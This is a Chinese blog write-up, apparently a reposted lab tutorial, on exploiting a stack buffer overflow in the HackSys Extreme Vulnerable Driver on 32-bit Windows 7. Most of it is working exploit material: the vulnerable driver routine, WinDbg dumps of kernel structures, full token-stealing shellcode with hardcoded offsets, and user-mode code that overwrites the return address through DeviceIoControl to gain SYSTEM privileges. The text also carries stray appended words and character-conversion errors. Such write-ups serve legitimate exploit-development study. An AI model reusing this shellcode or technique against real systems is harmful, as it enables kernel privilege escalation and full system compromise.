做者:huity
出處:http://www.javashuo.com/article/p-puscuiwz-e.html
版權:本文版權歸做者全部。文章在看雪、博客園、我的博客同時發佈。
轉載:歡迎轉載,但未經做者贊成,必須保留此段聲明;必須在文章中給出原文鏈接;不然必究法律責任。html
實驗環境:Win10專業版+VMware Workstation 15 Pro+Win7 x86 sp1git
實驗工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewergithub
這幾天看到有不少一樣開始研究二進制漏洞的小夥伴,幾經交流,先膜再說。傳送門:TJ。安全
ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; ... #ifdef SECURE //安全版本 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else //漏洞版本 DbgPrint("[+] Triggering Buffer Overflow in Stack\n"); RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
即將目標進程的 Token
結構數據或指針替換成 System
進程等系統進程的 Token
結構數據或指針。這樣一來進程將以系統進程的身份執行任何行爲,全部須要校驗令牌的操做都將能夠暢通無阻地進行。
函數
第一步首先須要定位到System進程的EPROCES結構地址,常見作法是經過fs寄存器,其指向當前活動線程的TEB結構(線程結構),在Win7 x86 sp1環境下,其偏移0x124爲當前線程KTHREAD結構:工具
kd> r fs fs=00000030 kd> dd fs:[0x124] 0030:00000124 83f7d380 00000000 83f7d380 00000100 0030:00000134 9e090106 0001007f 00000000 00000000 0030:00000144 00000000 00000000 00000000 00000000 0030:00000154 00000000 00000000 00000000 00000000 0030:00000164 00000000 00000000 00000000 00000000 0030:00000174 00000000 00000000 00000000 00000000 0030:00000184 00000000 00000000 00000000 00000000 0030:00000194 00000000 00000000 83f0cae7 83e4ff64 kd> dt _KTHREAD 83f7d380 nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER ... +0x040 ApcState : _KAPC_STATE +0x040 ApcStateFill : [23] "???" +0x057 Priority : 0 '' ... kd> dt _KAPC_STATE nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar
Token
成員域。
kd> dt _EPROCESS nt!_EPROCESS +0x000 Pcb : _KPROCESS ... +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY +0x0c0 ProcessQuotaUsage : [2] Uint4B +0x0c8 ProcessQuotaPeak : [2] Uint4B ... +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : Uint4B ... kd> dt _EX_FAST_REF nt!_EX_FAST_REF +0x000 Object : Ptr32 Void +0x000 RefCnt : Pos 0, 3 Bits +0x000 Value : Ui
數值的低 3
位表示引用計數,去除低 3
位數值後的 32
位完整數值指向實際表示的內存地址。學習
Token
結構中存儲與當前進程相關的安全令牌的數據內容,如用戶安全標識符(Sid
),特權級(Privileges
)等,表明當前進程做爲訪問者角色訪問其餘被訪問對象時,訪問權限和身份校驗的依據。當前的 System
進程的 Token
結構塊的數據以下:測試
kd> !token 89201270 _TOKEN 0xffffffff89201270 TS Session ID: 0 User: S-1-5-18 User Groups: 00 S-1-5-32-544 Attributes - Default Enabled Owner 01 S-1-1-0 Attributes - Mandatory Default Enabled 02 S-1-5-11 Attributes - Mandatory Default Enabled 03 S-1-16-16384 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1-5-18 Privs: 02 0x000000002 SeCreateTokenPrivilege Attributes - 03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - ... 34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default 35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default Authentication ID: (0,3e7) Impersonation Level: Anonymous TokenType: Primary Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use ) Token ID: 3ea ParentToken ID: 0 Modified ID: (0, 3eb) RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000 OriginatingLogonSession: 0
第三步,用系統進程令牌替換當前進程令牌。ui
VOID TokenStealingPayloadWin7() { __asm { pushad ; 保存寄存器狀態 xor eax, eax ; 清空eax mov eax, fs:[eax + KTHREAD_OFFSET] ;獲取當前線程KTHREAD結構 mov eax, [eax + EPROCESS_OFFSET] ; 獲取_KPROCESS結構 mov ecx, eax ; KProcess爲EProcess第一個字段 這裏將目標進程EProcess首地址放進ecx 方便後面替換 mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; 獲取System進程令牌 mov [ecx + TOKEN_OFFSET], edx ; 用系統進程令牌替換目標進程令牌 ; End of Token Stealing Stub popad ; 恢復現場 ; Kernel Recovery Stub xor eax, eax ; 設置返回狀態爲成功0 add esp, 12 ; 恢復堆棧 pop ebp ; 彈棧 ret 8 ; } }
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); __try { ... //獲取設備對象句柄 hFile = GetDeviceHandle(FileName); ... //動態申請內存 2084 UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserModeBufferSize); ... RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A' MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申請區域的倒數第四的字節 0x368068+0x824-4 = 0x368888 ... *(PULONG)MemoryAddress = (ULONG)EopPayload;//寫入payload地址 DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW, (LPVOID)UserModeBuffer, (DWORD)UserModeBufferSize, NULL, 0, &BytesReturned, NULL); HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); UserModeBuffer = NULL; }
動態申請UserModeBufferSize(0x824)大小內存,使用字符A填充,修改最後四字節爲Payload地址。驅動層經過IO控制碼進入棧溢出處理歷程,也即文章開始處的觸發函數。spa
kd> db 0x002c8068 l 824 002c8068 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8078 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ... 002c8868 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8878 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8888 b6 13 3f 01 ..?. kd> db 013f13b6 013f13b6 e9 25 75 00 00 e9 20 3b-00 00 e9 85 d6 00 00 e9 .%u... ;........ 013f13c6 36 13 00 00 e9 41 bc 00-00 e9 4c d5 00 00 e9 27 6....A....L....' 013f13d6 c5 00 00 e9 f4 a1 00 00-e9 9d d6 00 00 e9 08 d7 ................ 013f13e6 00 00 e9 73 45 00 00 e9-82 d6 00 00 e9 29 2d 00 ...sE........)-. 013f13f6 00 e9 d0 a1 00 00 e9 ef-ba 00 00 e9 2a bb 00 00 ............*... 013f1406 e9 73 a1 00 00 e9 b6 a1-00 00 e9 0b a2 00 00 e9 .s.............. 013f1416 88 a1 00 00 e9 71 a1 00-00 e9 dc b3 00 00 e9 15 .....q.......... 013f1426 a2 00 00 e9 02 d7 00 00-e9 ff a1 00 00 e9 28 d5 ..............(. 013f88f2 b930000000 mov ecx,30h kd> u 013f13b6+5+7525 l 30 013f88e0 55 push ebp 013f88e1 8bec mov ebp,esp ... 013f88fe 60 pushad 013f88ff 33c0 xor eax,eax 013f8901 648b8024010000 mov eax,dword ptr fs:[eax+124h] 013f8908 8b4050 mov eax,dword ptr [eax+50h] 013f890b 8bc8 mov ecx,eax 013f890d ba04000000 mov edx,4 013f8912 8b80b8000000 mov eax,dword ptr [eax+0B8h] 013f8918 2db8000000 sub eax,0B8h 013f891d 3990b4000000 cmp dword ptr [eax+0B4h],edx 013f8923 75ed jne 013f8912 013f8925 8b90f8000000 mov edx,dword ptr [eax+0F8h] 013f892b 8991f8000000 mov dword ptr [ecx+0F8h],edx 013f8931 61 popad ... 013f894e c3 ret 013f894f cc int 3
再來看看內核棧緩衝區,明顯能夠看到,覆蓋範圍超出了內核棧緩衝區,而且最後四個字節爲payload跳轉地址。
kd> dt KernelBuffer Local var @ 0x987fb288 Type unsigned long[] kd> db 0x987fb288 l 0x800 //覆蓋前 987fb288 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 987fb298 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ... 987fba78 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ kd> db 0x987fb288 l 0x824 //覆蓋後 987fb288 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 987fb298 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ... 987fba98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 987fbaa8 b6 13 3f 01 ..?.
測試中,能夠看到咱們的payload代碼成功執行。